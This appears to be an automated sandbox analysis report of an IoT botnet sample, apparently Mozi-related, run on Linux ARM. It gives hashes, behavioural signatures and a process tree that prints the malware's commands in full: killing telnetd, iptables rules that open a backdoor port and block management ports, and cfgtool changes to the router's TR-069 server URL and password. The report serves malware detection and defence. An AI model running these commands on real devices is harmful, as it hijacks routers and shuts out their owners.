Analysis
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max time kernel
11947s -
max time network
161s -
platform
linux_armhf -
resource
debian9-armhf-en-20211208 -
submitted
25-04-2022 21:47
Static task
static1
Behavioral task
behavioral1
Sample
bin.shrfpxbbej
Resource
debian9-armhf-en-20211208
General
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Target
bin.shrfpxbbej
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Size
300KB
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MD5
eec5c6c219535fba3a0492ea8118b397
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SHA1
292559e94f1c04b7d0c65d4a01bbbc5dc1ff6f21
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SHA256
12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef
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SHA512
3482c8324a18302f0f37b6e23ed85f24fff9f50bb568d8fd7461bf57f077a7c592f7a88bb2e1c398699958946d87bb93ab744d13a0003f9b879c15e6471f7400
Malware Config
Signatures
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Contacts a large (28361) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Modifies the Watchdog daemon 1 TTPs
Malware like Mirai modify the Watchdog to prevent it restarting an infected system.
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Writes file to system bin folder 1 TTPs 2 IoCs
Processes:
description ioc /sbin/watchdog /sbin/watchdog /bin/watchdog /bin/watchdog -
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
Processes:
description ioc /etc/hosts /etc/hosts -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
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Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
Processes:
bin.shrfpxbbejdescription ioc process /proc/net/tcp /proc/net/tcp bin.shrfpxbbej -
Processes:
description ioc /etc/init.d/S95baby.sh /etc/init.d/S95baby.sh -
Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
Processes:
description ioc /proc/net/route /proc/net/route -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 18217 ipinfo.io 18218 ipinfo.io -
Reads system network configuration 1 TTPs 3 IoCs
Uses contents of /proc filesystem to enumerate network settings.
Processes:
bin.shrfpxbbejdescription ioc process /proc/net/tcp /proc/net/tcp bin.shrfpxbbej /proc/net/raw /proc/net/raw bin.shrfpxbbej /proc/net/route /proc/net/route -
Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
Processes:
description ioc /proc/stat /proc/stat /proc/mounts /proc/mounts -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes:
description ioc /tmp/bin.shrfpxbbej /tmp/bin.shrfpxbbej
Processes
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./bin.shrfpxbbej./bin.shrfpxbbej1⤵
- Enumerates active TCP sockets
- Reads system network configuration
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/bin/sh/bin/sh -c "killall -9 telnetd utelnetd scfgmgr"1⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --destination-port 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --destination-port 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --source-port 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --source-port 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I PREROUTING -t nat -p tcp --destination-port 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I PREROUTING -t nat -p tcp --destination-port 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --source-port 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I POSTROUTING -t nat -p tcp --source-port 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --destination-port 58000 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --destination-port 58000 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --dport 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --dport 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --source-port 58000 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --source-port 58000 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --sport 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --sport 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --dport 58000 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --dport 58000 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I PREROUTING -t nat -p tcp --dport 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I PREROUTING -t nat -p tcp --dport 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I POSTROUTING -t nat -p tcp --sport 49557 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I POSTROUTING -t nat -p tcp --sport 49557 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --sport 58000 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --sport 58000 -j DROP2⤵
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/bin/sh/bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL \"http://127.0.0.1\""1⤵
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/bin/sh/bin/sh -c "cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword \"acsMozi\""1⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --destination-port 35000 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --destination-port 35000 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --destination-port 50023 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --destination-port 50023 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --source-port 50023 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --source-port 50023 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --source-port 35000 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --source-port 35000 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --destination-port 7547 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --destination-port 7547 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --source-port 7547 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --source-port 7547 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --dport 35000 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --dport 35000 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --dport 50023 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --dport 50023 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --sport 50023 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --sport 50023 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --sport 35000 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --sport 35000 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p tcp --dport 7547 -j DROP"1⤵
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/sbin/iptablesiptables -I INPUT -p tcp --dport 7547 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p tcp --sport 7547 -j DROP"1⤵
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/sbin/iptablesiptables -I OUTPUT -p tcp --sport 7547 -j DROP2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p udp --destination-port 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I INPUT -p udp --destination-port 1434 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p udp --source-port 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I OUTPUT -p udp --source-port 1434 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I PREROUTING -t nat -p udp --destination-port 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I PREROUTING -t nat -p udp --destination-port 1434 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I POSTROUTING -t nat -p udp --source-port 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I POSTROUTING -t nat -p udp --source-port 1434 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I INPUT -p udp --dport 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I INPUT -p udp --dport 1434 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I OUTPUT -p udp --sport 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I OUTPUT -p udp --sport 1434 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I PREROUTING -t nat -p udp --dport 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I PREROUTING -t nat -p udp --dport 1434 -j ACCEPT2⤵
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/bin/sh/bin/sh -c "iptables -I POSTROUTING -t nat -p udp --sport 1434 -j ACCEPT"1⤵
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/sbin/iptablesiptables -I POSTROUTING -t nat -p udp --sport 1434 -j ACCEPT2⤵